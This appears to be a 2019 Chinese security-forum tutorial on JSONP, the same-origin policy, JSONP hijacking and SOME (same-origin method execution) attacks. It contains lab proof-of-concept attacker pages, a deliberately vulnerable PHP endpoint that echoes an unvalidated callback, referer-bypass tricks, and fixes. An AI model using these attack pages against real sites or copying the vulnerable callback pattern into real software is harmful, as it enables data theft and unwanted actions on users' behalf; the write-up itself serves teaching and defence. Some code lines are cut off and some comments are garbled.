jsonp的一些安全问题

p1k**** / 2019-10-17 09:33:49 / 浏览数 5801 安全技术 WEB安全 顶(0) 踩(0)

谈起jsonp 就不得不提同源策略

同源策略

主机 端口 域名 必须都一样

也就是说 www.p1k.com 和他同源的只有www.p1k.com

json与jsonp

区别

json是一种基于文本的轻量级的数据交换格式

jsonp是一种协议 ，准确的说，他是json的一种使用模式，因为浏览器有同源策略的限制，像test1.sec.com和test2.sec.com是无法之间通信的，但是调用js文件，却不受同源的影响，并且src属性引入的文件都不受同源的限制，这也是同源策略留下的一个后门，为了方便

所以要想把远程数据加载到web页面中，就得把复杂数据转换为js文件，注意json数据是被js原生支持的，

这样就可以把复杂数据转换成轻巧的json数据

看一下具体实现

写入js文件调用

1.html写入

```
<html>
<head>
<title>Test</title>
</head>
<body>
<script>
function test(data){
   alert("name:"+data.name+"city:"+data.city);
}
</script>
<script src="http://www.p1k.com/data.js"></script>
</body>
</html>
```

data.js写入

```
test({
   "name": "p1k",
   "city": "china"
});
```

访问一下可以看到，跨域访问成功，弹窗

但是这样问题又来了，这里是直接去访问的data.js文件，并且data.js文件中只有一个函数，客户端界面也只有一个函数，如果data.js中有多个函数，前端页面中也有多个函

jsonp动态调用

通过在客户端添加一个callback回调函数

测试

```
<html>
<head>
<title>Test</title>
</head>
<body>
<script>
function test1(data){
```

```
   alert("name:"+data.name+"city:"+data.city);
}
function test2(data){
   alert("name:"+data.name);
}
</script>
<script src="http://www.p1k.com/data.php?callback=test2&name=p1k"></script>
<!--<script src="http://www.p1k.com/data.php?callback=test1&name=p1k"></script>-->
</body>
</html>
```

data.php

```
<?php
$data1=array("name"=>"p1k","city"=>"China");
$data2=array("name"=>"tusiji","city"=>"Russia");
if ($_GET['name']==='p1k') {
   $data=$data1;
}

if ($_GET['name']==='tusiji') {
   $data=$data2;
}
$callback = $_GET['callback'];
exit($callback."(".json_encode($data).")");
?>
```

这两段代码，前后端都是多条数据

如果callback==test2的话，弹窗只显示name 等于test1的话，会把name city都弹出来

jQuery

深入一下 看一下jquery调用jsonp的方式

```
<!DOCTYPE html >
<html>
<head>
<title>Test</title>
</head>
<body>
<script type="text/javascript" src="jquery-3.3.1.min.js">
</script>
<script type="text/javascript">
   $(document).ready(function(){
       $.ajax({
            type: "get",
            url: "http://www.p1k.com/data.php?name=p1k",
            dataType: "jsonp",
            jsonp: "callback",//■■■■■■■■■■■■■■■■■■■■jsonp■■■■■■■■■■(■■■■■■:callback)
            jsonpCallback:"test1",//■■■■jsonp■■■■■■■■■■■jQuery■■■■■■■■■■■■■■■■"?"■jQuery■■■■■■■■■■
            success: function(data){
                alert("name:"+data.name+"city:"+data.city);
            },
            error: function(){
                alert('fail');
            }
       });
   });
</script>
</body>
</html>
```

jQuery会自动的去调用，callback函数

联系

看到这里应该就知道了json和jsonp的联系了

jsonp只是跨域传送json的一种方式，一种更方便的方式

了解完json和jsonp 在来看看他们的安全问题

json jsonp安全问题

jsonp劫持

本质上属于CSRF的一种，只不过jsonp主要用来获取数据，造成该漏洞的原因是，目标站点没有对请求的referer进行检查，导致任何站点都可以去访问json数据，

攻击过程

还是以上面的代码为例

正常情况下data.php中的数据，只有referer是www.p1k.com 才能访问

新建一个站点www.test.com

json.html写入

```
<html>
<script>
function csrf(data){
   alert("name:"+data.name+"city:"+data.city);
}
</script>
<script src="http://www.p1k.com/data.php?callback=csrf&name=tusiji">
</script>
</html>
```

本地模拟受害者 访问一下 www.test.com/json.html 弹窗

看一下referer

```
Referer  http://www.test.com/json.html
```

data.php没有对请求的referer进行限制，导致数据泄露

修复

no.1 限制referer

```
if ($_SERVER['HTTP_REFERER']!=='http://www.p1k.com/1.html') {
   exit("■■■■");
}
```

no.2 使用token

随机的生成一段token值，每次提交表单都要检查，攻击者没有token就不能访问

绕过

针对上面两种修复方式 也都有对应的绕过方式

data URI 绕过 referer

data URI不会发送referer头 data还可以使用base64编码

https转到http referer

https转到http会返回一个空的referer (为了防止数据泄露)

绕过token

具体案例

http://www.91ri.org/13407.html

some攻击

some攻击 也叫同源方法执行，可以自动关注微博，自动授权等等

理论上任何具备点击功能的网站都存在被攻击的可能

比如说某个网站存在一个xss点，我们想要获取的数据在父窗口，但是窗口不是通过window.open打开的，无法用window.opener操作父窗口，这时候就可以用some来获去

限制条件

no.1 同源策略 这里和上面的jsonp劫持不太一样，jsonp劫持直接使用了src属性，所以可以突破同源策略的限制

no.2 callback参数可控，因为要通过callback去调用敏感操作，所以callback参数要可控

这里引用LoRexxar师傅的例子 为了模拟攻击过程，我把some1.html some2.html放在www.test.com上

jsonp.php secret.html放在www.p1k.com上

攻击过程

some1.html

```
<script>
   function start_some() {
       window.open("some2.html");
       location.replace("http://www.p1k.com/secret.html");
   }

   setTimeout(start_some(), 1000);
</script>
```

some2.html

```
<script>
   function attack() {
       location.replace("http://www.p1k.com/jsonp.php?callback=window.opener.document.body.firstElementChild.firstElementChild
   }

   setTimeout(attack, 2000);

</script>
```

jsonp.php

```
<?php
$callback = empty($_GET["callback"]) ? "jsCallback" : $_GET["callback"];

echo "<script>";
echo $callback . "()";
echo "</script>";
```

secret.html

```
<html>
<form>
   <button onclick="c()">Secret Button</button>
   </form>
<script>
   function c() {
       alert("LoRexxar click!");
   }
</script>
</html>
```

访问some1.html

some1.html指向了secret.html 会打开一个新的标签页some2.html 随后指向jsonp.php ，随后secret.html页面弹窗

梳理一下过程

第一步 先是访问了some1.html 这个页面会打开一个新的页面some2.html 那么some2.html的父页面就是some1.html 然后用http://www.p1k.com/secret.html 敏感页面 替换了some1.html页面 那么现在some2.html的父页面就是secret.html 但是some2.html 和 secret.html不同源，所以some2.html不能通过callback回调secret中的敏感函数，(这里如果同源 那么直接就让some2.html调用callback回调函数就可以)

那么如何解决some2.html和secret.html同源，并且可以调用callback回调函数的问题呢？

只要让some2.html指向一个和secret.html同源的页面，并且该页面中要有callback回调函数，就能解决问题了

构造第二步

第二步 some2.html 会指向http://www.p1k.com/jsonp.php?callback=window.opener.document.body.firstElementChild.firstElementChild.click
那么jsonp.php的父页面是不是就变成了secret.html呢 而且二者同源，都是在www.p1k.com这个web站点下

这里通过window.open window.opener来达到同源的目的，但是chrome firefox貌似都是默认禁止打开新的窗口，有一定的局限性

这里在放上柠檬师傅的构造方式 通过iframe 避免了打开新窗口的局限性

```
<iframe src="https://www.someattack.com/Playground/" name=b></iframe>
       <iframe name=a></iframe>
       <script>
       window.frames[0].open('https://www.someattack.com/Playground/','a');
       setTimeout(
         function(){
           window.frames[1].location.href = 'https://www.someattack.com/Playground/ColorPicker.php?callback=document.body.firs
         }
       ,1000);
</script>
```

修复

把回调函数加入到白名单

注册回调函数

参考链接

https://www.cnblogs.com/dowinning/archive/2012/04/19/json-jsonp-jquery.html

https://www.k0rz3n.com/2018/06/05/%E7%94%B1%E6%B5%85%E5%85%A5%E6%B7%B1%E7%90%86%E8%A7%A3JSONP%E5%B9%B6%E6%8B%93%E5%B1%

https://paper.seebug.org/452/#_3

上一篇：apk加固工具探究系列——advmp 下一篇：实战遇见到最多的第三方提权
1. 0 条回复
   - 动动手指，沙发就是你的了！